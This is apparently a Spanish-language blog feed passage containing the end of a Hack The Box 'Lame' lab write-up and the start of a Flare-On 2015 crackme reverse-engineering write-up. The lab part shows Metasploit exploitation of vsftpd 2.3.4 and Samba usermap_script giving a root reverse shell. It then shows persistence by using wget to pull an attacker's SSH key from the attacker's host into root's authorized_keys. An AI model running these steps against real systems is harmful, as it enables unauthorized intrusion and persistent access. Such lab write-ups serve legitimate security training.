<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lame$ ftp 10.10.10.3
</span></span><span style="display:flex;"><span>Connected to 10.10.10.3.
</span></span><span style="display:flex;"><span>220 (vsFTPd 2.3.4)
</span></span><span style="display:flex;"><span>Name (10.10.10.3:xbytemx): anonymous
</span></span><span style="display:flex;"><span>331 Please specify the password.
</span></span><span style="display:flex;"><span>Password:
</span></span><span style="display:flex;"><span>+230 Login successful.
</span></span><span style="display:flex;"><span>Remote system type is UNIX.
</span></span><span style="display:flex;"><span>Using binary mode to transfer files.
</span></span><span style="display:flex;"><span>ftp&gt; ls
</span></span><span style="display:flex;"><span>200 PORT command successful. Consider using PASV.
</span></span><span style="display:flex;"><span>150 Here comes the directory listing.
</span></span><span style="display:flex;"><span>226 Directory send OK.
</span></span><span style="display:flex;"><span>ftp&gt; dir
</span></span><span style="display:flex;"><span>200 PORT command successful. Consider using PASV.
</span></span><span style="display:flex;"><span>150 Here comes the directory listing.
</span></span><span style="display:flex;"><span>226 Directory send OK.
</span></span><span style="display:flex;"><span>ftp&gt; bye
</span></span><span style="display:flex;"><span>221 Goodbye.
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/lame$
</span></span></code></pre></div><p>No pudimos obtener mas información dentro del servicio, pero nos quedamos con la información de que tenemos acceso de manera anónima, el servidor es <strong>vsFTPd</strong> y que la versión del servidor es &ldquo;2.3.4&rdquo;.</p>
<h1 id="smb-service">SMB service</h1>
<p>Ahora, exploremos el servicio de SMB utilizando <code>smbclient</code> de impacket:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>(impacket-a2aNp99x) xbytemx@laptop:~/git/impacket/examples$ python smbclient.py 10.10.10.3
</span></span><span style="display:flex;"><span>Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type help for list of commands
</span></span><span style="display:flex;"><span># shares
</span></span><span style="display:flex;"><span>print$
</span></span><span style="display:flex;"><span>tmp
</span></span><span style="display:flex;"><span>opt
</span></span><span style="display:flex;"><span>IPC$
</span></span><span style="display:flex;"><span>ADMIN$
</span></span><span style="display:flex;"><span># use tmp
</span></span><span style="display:flex;"><span># ls
</span></span><span style="display:flex;"><span>drw-rw-rw-          0  Sat Oct  5 19:21:28 2019 .
</span></span><span style="display:flex;"><span>drw-rw-rw-          0  Sun May 20 13:36:11 2012 ..
</span></span><span style="display:flex;"><span>drw-rw-rw-          0  Sat Oct  5 19:15:38 2019 .ICE-unix
</span></span><span style="display:flex;"><span>-rw-rw-rw-          0  Sat Oct  5 19:16:41 2019 5139.jsvc_up
</span></span><span style="display:flex;"><span>drw-rw-rw-          0  Sat Oct  5 19:16:03 2019 .X11-unix
</span></span><span style="display:flex;"><span>-rw-rw-rw-         11  Sat Oct  5 19:16:03 2019 .X0-lock
</span></span><span style="display:flex;"><span># use opt
</span></span><span style="display:flex;"><span>[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
</span></span><span style="display:flex;"><span># use print$
</span></span><span style="display:flex;"><span>[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
</span></span><span style="display:flex;"><span># use IPC$
</span></span><span style="display:flex;"><span>[-] SMB SessionError: STATUS_NETWORK_ACCESS_DENIED(Network access is denied.)
</span></span><span style="display:flex;"><span># use ADMIN$
</span></span><span style="display:flex;"><span>[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
</span></span><span style="display:flex;"><span># exit
</span></span></code></pre></div><p>Pudimos enumerar los recursos compartidos, pero no encontramos nada relevante que nos permita obtener mas información sobre la maquina. Busquemos exploits en el FTP.</p>
<h1 id="searchploit-ftp">Searchploit: FTP</h1>
<p>Utilizando <code>searchsploit</code>, encontraremos que la versión 2.3.4 de vsFTPd tiene una vulnerabilidad conocida, un backdoor de smile face:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/exploit-database$ ./searchsploit ftp 2.3.4
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                                                                        |  Path
</span></span><span style="display:flex;"><span>                                                                                                                                      | (/home/xbytemx/git/exploit-database//)
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                | exploits/unix/remote/17491.rb
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Result
</span></span></code></pre></div><p>Como podemos ver, la vulnerabilidad es tan popular que tiene su propio exploit en Metasploit.</p>
<p>Utilizando <code>metasploit-framework</code>, tratemos de explotar la vulnerabilidad:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>msf5 &gt; search vsftpd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Matching Modules
</span></span><span style="display:flex;"><span>================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   #  Name                                  Disclosure Date  Rank       Check  Description
</span></span><span style="display:flex;"><span>   -  ----                                  ---------------  ----       -----  -----------
</span></span><span style="display:flex;"><span>   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf5 &gt; use 0
</span></span><span style="display:flex;"><span>msf5 exploit(unix/ftp/vsftpd_234_backdoor) &gt; show options
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Module options (exploit/unix/ftp/vsftpd_234_backdoor):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Name    Current Setting  Required  Description
</span></span><span style="display:flex;"><span>   ----    ---------------  --------  -----------
</span></span><span style="display:flex;"><span>   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&lt;path&gt;&#39;
</span></span><span style="display:flex;"><span>   RPORT   21               yes       The target port (TCP)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Exploit target:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Id  Name
</span></span><span style="display:flex;"><span>   --  ----
</span></span><span style="display:flex;"><span>   0   Automatic
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf5 exploit(unix/ftp/vsftpd_234_backdoor) &gt; set RHOSTS 10.10.10.3
</span></span><span style="display:flex;"><span>RHOSTS =&gt; 10.10.10.3
</span></span><span style="display:flex;"><span>msf5 exploit(unix/ftp/vsftpd_234_backdoor) &gt; exploit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
</span></span><span style="display:flex;"><span>[*] 10.10.10.3:21 - USER: 331 Please specify the password.
</span></span><span style="display:flex;"><span>[*] Exploit completed, but no session was created.
</span></span><span style="display:flex;"><span>msf5 exploit(unix/ftp/vsftpd_234_backdoor) &gt; exit
</span></span></code></pre></div><p>Como pudimos observar, aunque el exploit se ejecuto correctamente, no se reconecto al backdoor. Sin detenernos demasiado tiempo en explotar una vulnerabilidad, pasemos a enumerar mas el servicio de SMB.</p>
<h1 id="smb-version-enum">SMB version enum</h1>
<p>En la etapa anterior no pudimos identificar la versión exacta de SMB corriendo, solo lo que de manera general nos entrego <code>nmap</code>. Pero si ejecutamos smbclient y nos conectamos de manera anónima, podemos obtener un poco de información al respecto.</p>
<blockquote>
<p>Nota, esto varia mucho entre versiones de SMB, por lo que es importante seguir enumerando con diferentes herramientas o enumerar con la herramienta correcta, la version correcta.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>(impacket-a2aNp99x) xbytemx@laptop:~/git/impacket/examples$ smbclient -L 10.10.10.3
</span></span><span style="display:flex;"><span>Unable to initialize messaging context
</span></span><span style="display:flex;"><span>Enter WORKGROUP\xbytemx&#39;s password:
</span></span><span style="display:flex;"><span>Anonymous login successful
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	Sharename       Type      Comment
</span></span><span style="display:flex;"><span>	---------       ----      -------
</span></span><span style="display:flex;"><span>	print$          Disk      Printer Drivers
</span></span><span style="display:flex;"><span>	tmp             Disk      oh noes!
</span></span><span style="display:flex;"><span>	opt             Disk
</span></span><span style="display:flex;"><span>	IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
</span></span><span style="display:flex;"><span>	ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
</span></span><span style="display:flex;"><span>Reconnecting with SMB1 for workgroup listing.
</span></span><span style="display:flex;"><span>Anonymous login successful
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	Server               Comment
</span></span><span style="display:flex;"><span>	---------            -------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	Workgroup            Master
</span></span><span style="display:flex;"><span>	---------            -------
</span></span><span style="display:flex;"><span>	WORKGROUP            LAME
</span></span></code></pre></div><p>Ok, <code>smbclient</code> nos devuelve que la versión de SMB es la 3.0.20~Debian. Realicemos el paso que hicimos con FTP dentro de <code>searchsploit</code>.</p>
<h1 id="searchploit-smb">Searchploit: SMB</h1>
<p>Utilizando <code>searchsploit</code>, identificamos la siguiente vulnerabilidad:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/exploit-database$ ./searchsploit Samba 3.0.20
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                                                                        |  Path
</span></span><span style="display:flex;"><span>                                                                                                                                      | (/home/xbytemx/git/exploit-database//)
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>Samba 3.0.20 &lt; 3.0.25rc3 - &#39;Username&#39; map script&#39; Command Execution (Metasploit)                                                      | exploits/unix/remote/16320.rb
</span></span><span style="display:flex;"><span>Samba &lt; 3.0.20 - Remote Heap Overflow                                                                                                 | exploits/linux/remote/7701.txt
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Result
</span></span></code></pre></div><p>Nuevamente, <code>metasploit-framework</code> tiene escrito ya el exploit dentro del framework, así que pasemos a utilizarlo.</p>
<h1 id="command-execution">Command Execution</h1>
<p>Después de revisar este <a href="https://github.com/amriunix/CVE-2007-2447">exploit</a>, observaremos que su funcionamiento se basa en:</p>
<blockquote>
<p>The root cause is passing unfiltered user input provided via MS-RPC calls to /bin/sh when invoking non-default &ldquo;username map script&rdquo; configuration option in smb.conf, so no authentication is needed to exploit this vulnerability.</p>
</blockquote>
<p>Básicamente cuando le pasamos el usuario durante la conexión, el nombre del usuario es usado para ejecutar comandos sobre sh, por lo que si mandamos expresiones de sustitución o evaluación script de sh, podemos ejecutar remotamente código que nos permita llamar a una conexión en reversa. Esto es lo que hace MSF tras bambalinas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>msf5 &gt; use exploit/multi/samba/usermap_script
</span></span><span style="display:flex;"><span>msf5 exploit(multi/samba/usermap_script) &gt; show options
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Module options (exploit/multi/samba/usermap_script):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Name    Current Setting  Required  Description
</span></span><span style="display:flex;"><span>   ----    ---------------  --------  -----------
</span></span><span style="display:flex;"><span>   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&lt;path&gt;&#39;
</span></span><span style="display:flex;"><span>   RPORT   139              yes       The target port (TCP)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Exploit target:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Id  Name
</span></span><span style="display:flex;"><span>   --  ----
</span></span><span style="display:flex;"><span>   0   Automatic
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf5 exploit(multi/samba/usermap_script) &gt; set RHOSTS 10.10.10.3
</span></span><span style="display:flex;"><span>RHOSTS =&gt; 10.10.10.3
</span></span><span style="display:flex;"><span>msf5 exploit(multi/samba/usermap_script) &gt; exploit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] Started reverse TCP double handler on 10.10.14.23:4444
</span></span><span style="display:flex;"><span>[*] Accepted the first client connection...
</span></span><span style="display:flex;"><span>[*] Accepted the second client connection...
</span></span><span style="display:flex;"><span>[*] Command: echo 11hUeTXzLVKsyhQx;
</span></span><span style="display:flex;"><span>[*] Writing to socket A
</span></span><span style="display:flex;"><span>[*] Writing to socket B
</span></span><span style="display:flex;"><span>[*] Reading from sockets...
</span></span><span style="display:flex;"><span>[*] Reading from socket B
</span></span><span style="display:flex;"><span>[*] B: &#34;11hUeTXzLVKsyhQx\r\n&#34;
</span></span><span style="display:flex;"><span>[*] Matching...
</span></span><span style="display:flex;"><span>[*] A is input...
</span></span><span style="display:flex;"><span>[*] Command shell session 1 opened (10.10.14.23:4444 -&gt; 10.10.10.3:33932) at 2019-10-05 20:00:32 -0500
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=0(root) gid=0(root)
</span></span></code></pre></div><p>Perfecto, hemos obtenido una reverse shell como root. Ya tenemos acceso a todo el filesystem, pero que pasa si se parchea la vulnerabilidad o simplemente se cierra el servicio? Pues nos quedaríamos sin acceso y mas aun porque tenemos una reverse shell. Pasemos a la siguiente etapa.</p>
<h1 id="get-ssh-access">Get SSH Access</h1>
<p>Aplicando la vieja confiable, agregamos nuestro certificado público en las llaves autorizadas de ssh para el usuario root. Esto es posible porque tenemos una shell remota y porque la configuración de ssh permite que root pueda ingresar.</p>
<p>Comenzamos por iniciar un web server para compartir la llave:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/.ssh$ python3 -m http.server 4001
</span></span><span style="display:flex;"><span>Serving HTTP on 0.0.0.0 port 4001 (http://0.0.0.0:4001/) ...
</span></span><span style="display:flex;"><span>10.10.10.3 - - [05/Nov/2019 08:24:47] &#34;GET /id_rsa.pub HTTP/1.0&#34; 200 -
</span></span><span style="display:flex;"><span>^C
</span></span><span style="display:flex;"><span>Keyboard interrupt received, exiting.
</span></span></code></pre></div><p>Mientras tanto, en el reverse shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>wget http://10.10.14.2:4001/id_rsa.pub -O /root/.ssh/authorized_keys
</span></span><span style="display:flex;"><span>--09:24:58--  http://10.10.14.2:4001/id_rsa.pub
</span></span><span style="display:flex;"><span>           =&gt; `/root/.ssh/authorized_keys&#39;
</span></span><span style="display:flex;"><span>Connecting to 10.10.14.2:4001... connected.
</span></span><span style="display:flex;"><span>HTTP request sent, awaiting response... 200 OK
</span></span><span style="display:flex;"><span>Length: 568 [application/octet-stream]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    0K                                                       100%  176.39 MB/s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>09:24:58 (176.39 MB/s) - `/root/.ssh/authorized_keys&#39; saved [568/568]
</span></span></code></pre></div><p>Perfecto, ya agregamos nuestra llave, ahora solo falta validar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/.ssh$ ssh -i id_rsa root@10.10.10.3
</span></span><span style="display:flex;"><span>Last login: Tue Nov  5 09:06:12 2019 from :0.0
</span></span><span style="display:flex;"><span>Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The programs included with the Ubuntu system are free software;
</span></span><span style="display:flex;"><span>the exact distribution terms for each program are described in the
</span></span><span style="display:flex;"><span>individual files in /usr/share/doc/*/copyright.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
</span></span><span style="display:flex;"><span>applicable law.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>To access official Ubuntu documentation, please visit:
</span></span><span style="display:flex;"><span>http://help.ubuntu.com/
</span></span><span style="display:flex;"><span>You have new mail.
</span></span><span style="display:flex;"><span>root@lame:~#
</span></span></code></pre></div><p>Boom, tenemos shell como root.</p>
<h1 id="usertxt">user.txt</h1>
<p>Ya desde esta shell, podemos tomar nuestras flags.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@lame:~# cat /home/makis/user.txt
</span></span></code></pre></div><h1 id="roottxt">root.txt</h1>
<p>Tomamos la flag de root:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@lame:~# cat /root/root.txt
</span></span></code></pre></div><p>&hellip; And we got root and user flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>Flare-on 2015 - Challenge 02</title><link>https://www.xbyte.mx/posts/flareon2015_-_challenge02/</link><pubDate>Tue, 02 Jul 2019 00:05:30 -0500</pubDate><guid>https://www.xbyte.mx/posts/flareon2015_-_challenge02/</guid><description>&lt;p&gt;Continuamos con los challenges del 2015, en esta ocasión el reto 2 sube un poco más la dificultad. En este caso tenemos un programa que al inicio parece idéntico al anterior, solo que este tiene su propia función de cifrado que implementa un mecanismo bastante interesante de protección. Nos encontraremos con una protección que aunque continua comparando contra un bloque fijo de bytes, el proceso previo requiere información que se genera en cada iteración.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Continuamos con los challenges del 2015, en esta ocasión el reto 2 sube un poco más la dificultad. En este caso tenemos un programa que al inicio parece idéntico al anterior, solo que este tiene su propia función de cifrado que implementa un mecanismo bastante interesante de protección. Nos encontraremos con una protección que aunque continua comparando contra un bloque fijo de bytes, el proceso previo requiere información que se genera en cada iteración.</p>
<p>En el reto anterior, descargamos y descomprimimos un archivo que nos creo unas carpetas. Dentro de la carpeta <code>2</code> podremos encontrar el archivo del challenge 2 llamado <code>599EA8F84AD975CFB07E0E5732C9BA14.zip</code>, el cual descomprimimos y nos devuelve un archivo unicamente (<code>very_success</code>). Recordemos que la contraseña para todos los retos del 2015 es <strong>flare</strong>.</p>
<blockquote>
<p>Nota: Todos los archivos de challenge se encuentran dentro de un zip que se descarga <a href="http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip">aquí</a></p>
</blockquote>
<p><img src="/img/flareon2015-c2/unzip.png" alt="unzip"></p>
<p>Si analizamos el archivo <code>very_success</code> con el comando <code>file</code> y <code>pescan</code> tenemos lo siguiente:</p>
<p><img src="/img/flareon2015-c2/file-pescan.png" alt="File and PEscan"></p>
<p>Esto significa que tenemos poca entropía (no empaquetado probablemente) y 2 secciones; <code>.text</code> que se puede automoficiar y <code>.data</code>.</p>
<p>Continuamos el análisis en radare. Verificamos que importa y cuantos entrypoints tiene:</p>
<p><img src="/img/flareon2015-c2/r2-load.png" alt="Load on Radare2"></p>
<p>Si recordamos el reto anterior, también unicamente hacia uso de <em>kernel32.dll</em> y algunas de sus funciones. Entre ellas podemos ver algunas conocidas como GetStdHandle, WriteFile y ReadFile, por lo que omitiré las explicaciones de estas funciones. Si tienes duda, por favor consulta el reto anterior.</p>
<p>Veamos con cuantas y cuales funciones cuenta este programa:</p>
<p><img src="/img/flareon2015-c2/r2-afl.png" alt="Print Disassembly of Function entry0"></p>
<p>Así mismo, realice un <em>Print Disassembly of Function</em> (pdf) sobre el entry0, por lo que vemos que al mero inicio en esta sección, ya estamos llamando a la función <code>section..text</code> que renombrare como <code>main</code>.</p>
<p><img src="/img/flareon2015-c2/r2-afn.png" alt="Analyze Function Name to main"></p>
<h2 id="parte-1-main">Parte 1. Main</h2>
<p>Nos cambiamos al inicio de la función main y realizamos un <code>pdf</code> (lo pego también como texto por el tamaño de la función main):</p>
<p><img src="/img/flareon2015-c2/r2-pdf-main.png" alt="Print Disassembly of Function main"></p>
<pre tabindex="0"><code>[0x004010df]&gt; s main
[0x00401000]&gt; pdf
;-- section..text:
/ (fcn) main 132
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_10h @ ebp-0x10
|           ; var HANDLE var_ch @ ebp-0xc
|           ; var HANDLE hFile @ ebp-0x8
|           ; var LPDWORD lpNumberOfBytesWritten @ ebp-0x4
|           0x00401000      pop  eax ; [00] -rwx section size 4096 named .text
|           0x00401001      push ebp
|           0x00401002      mov  ebp, esp
|           0x00401004      sub  esp, 0x10
|           0x00401007      mov  dword [var_10h], eax
|           0x0040100a      push 0xfffffffffffffff6 ; DWORD nStdHandle
|           0x0040100c      call dword [sym.imp.kernel32.dll_GetStdHandle] ; 0x402058 ; HANDLE GetStdHandle(DWORD nStdHandle)
|           0x00401012      mov  dword [var_ch], eax
|           0x00401015      push 0xfffffffffffffff5 ; DWORD nStdHandle
|           0x00401017      call dword [sym.imp.kernel32.dll_GetStdHandle] ; 0x402058 ; HANDLE GetStdHandle(DWORD nStdHandle)
|           0x0040101d      mov  dword [hFile], eax
|           0x00401020      push 0 ; LPOVERLAPPED lpOverlapped
|           0x00401022      lea  eax, [lpNumberOfBytesWritten]
|           0x00401025      push eax ; LPDWORD lpNumberOfBytesWritten
|           0x00401026      push 0x43 ; &#39;C&#39; ; 67 ; DWORD nNumberOfBytesToWrite
|           0x00401028      push str.You_crushed_that_last_one__Let_s_up_the_game.____Enter_the_password ; 0x4020f2 ; &#34;You crushed that last one! Let&#39;s up the game.\r\nEnter the password&gt;&#34; ; LPCVOID lpBuffer
|           0x0040102d      push dword [hFile] ; HANDLE hFile
|           0x00401030      call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
|           0x00401036      push 0 ; LPOVERLAPPED lpOverlapped
|           0x00401038      lea  eax, [lpNumberOfBytesWritten]
|           0x0040103b      push eax ; LPDWORD lpNumberOfBytesRead
|           0x0040103c      push 0x32 ; &#39;2&#39; ; 50 ; DWORD nNumberOfBytesToRead
|           0x0040103e      push 0x402159 ; &#39;Y!@&#39; ; LPVOID lpBuffer
|           0x00401043      push dword [var_ch] ; HANDLE hFile
|           0x00401046      call dword [sym.imp.kernel32.dll_ReadFile] ; 0x402068 ; BOOL ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
|           0x0040104c      push 0
|           0x0040104e      lea  eax, [lpNumberOfBytesWritten]
|           0x00401051      push eax
|           0x00401052      push 0x11 ; 17
|           0x00401054      push dword [lpNumberOfBytesWritten]
|           0x00401057      push 0x402159 ; &#39;Y!@&#39;
|           0x0040105c      push dword [var_10h]
|           0x0040105f      call fcn.00401084
|           0x00401064      add  esp, 0xc
|           0x00401067      test eax, eax
|       ,=&lt; 0x00401069      je   0x401072
|       |   0x0040106b      push str.You_are_success ; 0x402135 ; &#34;You are success\r\n&#34;
|      ,==&lt; 0x00401070      jmp  0x401077
|      |`-&gt; 0x00401072      push str.You_are_failure ; 0x402147 ; &#34;You are failure\r\n&#34;
|      `--&gt; 0x00401077      push dword [hFile] ; HANDLE hFile
|           0x0040107a      call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
|           0x00401080      mov  esp, ebp
|           0x00401082      pop  ebp
\           0x00401083      ret
[0x00401000]&gt;
</code></pre><p>Analicemos esto por partes:</p>
<ol>
<li>Stack Frame y GetStdHandle</li>
</ol>
<pre tabindex="0"><code>0x00401000      pop  eax ; [00] -rwx section size 4096 named .text
0x00401001      push ebp
0x00401002      mov  ebp, esp
0x00401004      sub  esp, 0x10
0x00401007      mov  dword [var_10h], eax
0x0040100a      push 0xfffffffffffffff6 ; DWORD nStdHandle
0x0040100c      call dword [sym.imp.kernel32.dll_GetStdHandle] ; 0x402058 ; HANDLE GetStdHandle(DWORD nStdHandle)
0x00401012      mov  dword [var_ch], eax
0x00401015      push 0xfffffffffffffff5 ; DWORD nStdHandle
0x00401017      call dword [sym.imp.kernel32.dll_GetStdHandle] ; 0x402058 ; HANDLE GetStdHandle(DWORD nStdHandle)
0x0040101d      mov  dword [hFile], eax
</code></pre><p>La primera parte es bastante sencilla, tenemos el stack frame (0x10) y tenemos los apuntadores o handles para interactuar con el STDIN y STDOUT. Hablaremos del &lsquo;POP EAX&rsquo; y el &lsquo;MOV EBP+0x10, EAX&rsquo; más adelante.</p>
<ol start="2">
<li>Mensaje de bienvenida</li>
</ol>
<pre tabindex="0"><code>0x00401020      push 0 ; LPOVERLAPPED lpOverlapped
0x00401022      lea  eax, [lpNumberOfBytesWritten]
0x00401025      push eax ; LPDWORD lpNumberOfBytesWritten
0x00401026      push 0x43 ; &#39;C&#39; ; 67 ; DWORD nNumberOfBytesToWrite
0x00401028      push str.You_crushed_that_last_one__Let_s_up_the_game.____Enter_the_password ; 0x4020f2 ; &#34;You crushed that last one! Let&#39;s up the game.\r\nEnter the password&gt;&#34; ; LPCVOID lpBuffer
0x0040102d      push dword [hFile] ; HANDLE hFile
0x00401030      call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
</code></pre><p>En esta parte llamamos a WriteFile para que muestre el mensaje de bienvenida y nos muestre en pantalla que requiere una contraseña.</p>
<ol start="3">
<li>Guardamos la contraseña</li>
</ol>
<pre tabindex="0"><code>0x00401036      push 0 ; LPOVERLAPPED lpOverlapped
0x00401038      lea  eax, [lpNumberOfBytesWritten]
0x0040103b      push eax ; LPDWORD lpNumberOfBytesRead
0x0040103c      push 0x32 ; &#39;2&#39; ; 50 ; DWORD nNumberOfBytesToRead
0x0040103e      push 0x402159 ; &#39;Y!@&#39; ; LPVOID lpBuffer
0x00401043      push dword [var_ch] ; HANDLE hFile
0x00401046      call dword [sym.imp.kernel32.dll_ReadFile] ; 0x402068 ; BOOL ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
</code></pre><p>El texto ingresado con limite a 50 caracteres, es guardado en <strong>0x402159</strong>.</p>
<ol start="4">
<li>The Call</li>
</ol>
<pre tabindex="0"><code>0x0040104c      push 0
0x0040104e      lea  eax, [lpNumberOfBytesWritten]
0x00401051      push eax
0x00401052      push 0x11 ; 17
0x00401054      push dword [lpNumberOfBytesWritten]
0x00401057      push 0x402159 ; &#39;Y!@&#39;
0x0040105c      push dword [var_10h]
0x0040105f      call fcn.00401084
</code></pre><p>Ahora llamamos a la función 00401084 de la siguiente manera:</p>
<p><code>fcn.00401084(EBP-0x10, 0x402159, lpNumberOfBytesWritten, 0x11, EBP-0x4, 0)</code></p>
<p>Antes de entrar en esta función, veamos que mas hace main.</p>
<ol start="5">
<li>success or failure</li>
</ol>
<pre tabindex="0"><code>      0x00401064      add  esp, 0xc
      0x00401067      test eax, eax
  ,=&lt; 0x00401069      je   0x401072
  |   0x0040106b      push str.You_are_success ; 0x402135 ; &#34;You are success\r\n&#34;
 ,==&lt; 0x00401070      jmp  0x401077
